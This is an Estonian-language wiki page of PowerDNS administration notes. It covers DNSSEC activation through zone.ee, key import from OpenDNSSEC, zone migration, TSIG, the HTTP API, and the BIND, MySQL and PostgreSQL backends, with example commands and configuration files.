Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
